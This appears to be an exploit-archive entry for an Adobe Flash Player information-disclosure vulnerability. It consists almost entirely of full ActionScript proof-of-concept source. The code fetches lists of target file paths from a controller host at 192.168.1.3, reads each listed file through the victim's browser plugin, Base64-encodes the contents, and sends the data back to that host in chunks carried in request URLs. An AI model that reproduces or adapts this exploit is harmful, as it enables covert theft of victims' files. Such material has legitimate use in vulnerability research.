source: https://www.securityfocus.com/bid/38517/info Adobe Flash Player is prone to an information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks. package com.lavakumar.imposter{ import com.dynamicflash.util.Base64; import flash.display.MovieClip; import flash.display.Stage; import flash.text.TextField; import flash.events.Event; import flash.events.DataEvent; import flash.events.IOErrorEvent; import flash.events.ProgressEvent; import flash.events.SecurityErrorEvent; import flash.events.HTTPStatusEvent; import flash.utils.ByteArray; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLLoaderDataFormat; public class Main extends MovieClip { var filecontent:String=""; var read:int=0; var inputcount:int=0; var filecounter:int=0; var files:Array; var statuscode:int=1; public function Main() { addEventListener(Event.ENTER_FRAME, check, false, 0, true); } public function check(e:Event):void { if (statuscode==1) { get(); } else if (statuscode==2) { load(); } else if (statuscode==3) { send(); } } public function get():void { var getter:URLLoader = new URLLoader(); getter.dataFormat=URLLoaderDataFormat.BINARY; getter.addEventListener(Event.COMPLETE, get_FileLoaded); getter.addEventListener(IOErrorEvent.IO_ERROR, get_FileIoError); getter.addEventListener(Event.OPEN, get_FileOpened); getter.addEventListener(ProgressEvent.PROGRESS, get_FileProgress); getter.addEventListener(SecurityErrorEvent.SECURITY_ERROR, get_FileSecurityError); getter.addEventListener(HTTPStatusEvent.HTTP_STATUS, get_FileStatus); getter.addEventListener(DataEvent.DATA, get_DataEventHandler); var inputfile:URLRequest=new URLRequest("//192.168.1.3/imp/imposter"+inputcount.toString()+".input"); statuscode=0; getter.load(inputfile); } public function load():void { var loader:URLLoader = new URLLoader(); loader.dataFormat=URLLoaderDataFormat.BINARY; loader.addEventListener(Event.COMPLETE, load_FileLoaded); loader.addEventListener(IOErrorEvent.IO_ERROR, load_FileIoError); loader.addEventListener(Event.OPEN, load_FileOpened); loader.addEventListener(ProgressEvent.PROGRESS, load_FileProgress); loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, load_FileSecurityError); loader.addEventListener(HTTPStatusEvent.HTTP_STATUS, load_FileStatus); loader.addEventListener(DataEvent.DATA, load_DataEventHandler); if (filecounter<files.length) { var filename:String=files[filecounter]; filecounter++; var file:URLRequest=new URLRequest(filename); statuscode=0; loader.load(file); } else { statuscode=1; } } public function send():void { if (read<filecontent.length) { var temp:String; var sendurl:String=""; if ((filecontent.length - read) < 200) { temp=filecontent.substr(read); var regex:RegExp=/\//g; temp=temp.replace(regex,"-"); sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp; read=filecontent.length; } else { temp=filecontent.substr(read,200); var regex:RegExp=/\//g; temp=temp.replace(regex,"-"); sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp; read=read+200; } var senddata:URLRequest=new URLRequest(sendurl); var sender:URLLoader = new URLLoader(); sender.dataFormat=URLLoaderDataFormat.BINARY; sender.addEventListener(Event.COMPLETE, send_FileLoaded); sender.addEventListener(IOErrorEvent.IO_ERROR, send_FileIoError); sender.addEventListener(Event.OPEN, send_FileOpened); sender.addEventListener(ProgressEvent.PROGRESS, send_FileProgress); sender.addEventListener(SecurityErrorEvent.SECURITY_ERROR, send_FileSecurityError); sender.addEventListener(HTTPStatusEvent.HTTP_STATUS, send_FileStatus); sender.addEventListener(DataEvent.DATA, send_DataEventHandler); sender.load(senddata); } else { read=0; statuscode=2; } } function load_FileLoaded(event:Event):void { var loader:URLLoader=event.target as URLLoader; var data:ByteArray=loader.data as ByteArray; filecontent=Base64.encodeByteArray(data); data=null; statuscode=3; } function load_FileOpened(event:Event):void { var loader:URLLoader=event.target as URLLoader; } function load_DataEventHandler(event:Event):void { } function load_FileProgress(event:flash.events.ProgressEvent):void { } function load_FileSecurityError(event:Event):void { statuscode=2; } function load_FileIoError(event:Event):void { statuscode=2; } function load_FileStatus(event:HTTPStatusEvent):void { } function load_FileNotFound(event:IOErrorEvent):void { statuscode=2; } function get_FileLoaded(event:Event):void { var getter:URLLoader=event.target as URLLoader; var data:String=event.target.data; if (data.length>0) { files=data.split(','); if (files.length>0) { statuscode=2; inputcount++; } else { statuscode=1; } } else { statuscode=1; } } function get_FileOpened(event:Event):void { } function get_DataEventHandler(event:Event):void { } function get_FileProgress(event:flash.events.ProgressEvent):void { } function get_FileSecurityError(event:Event):void { statuscode=1; } function get_FileIoError(event:Event):void { statuscode=1; } function get_FileStatus(event:HTTPStatusEvent):void { } function get_FileNotFound(event:IOErrorEvent):void { statuscode=1; } function send_FileLoaded(event:Event):void { } function send_FileOpened(event:Event):void { } function send_DataEventHandler(event:Event):void { } function send_FileProgress(event:flash.events.ProgressEvent):void { } function send_FileSecurityError(event:Event):void { } function send_FileIoError(event:Event):void { } function send_FileStatus(event:HTTPStatusEvent):void { } function send_FileNotFound(event:IOErrorEvent):void { } } }
体验盒子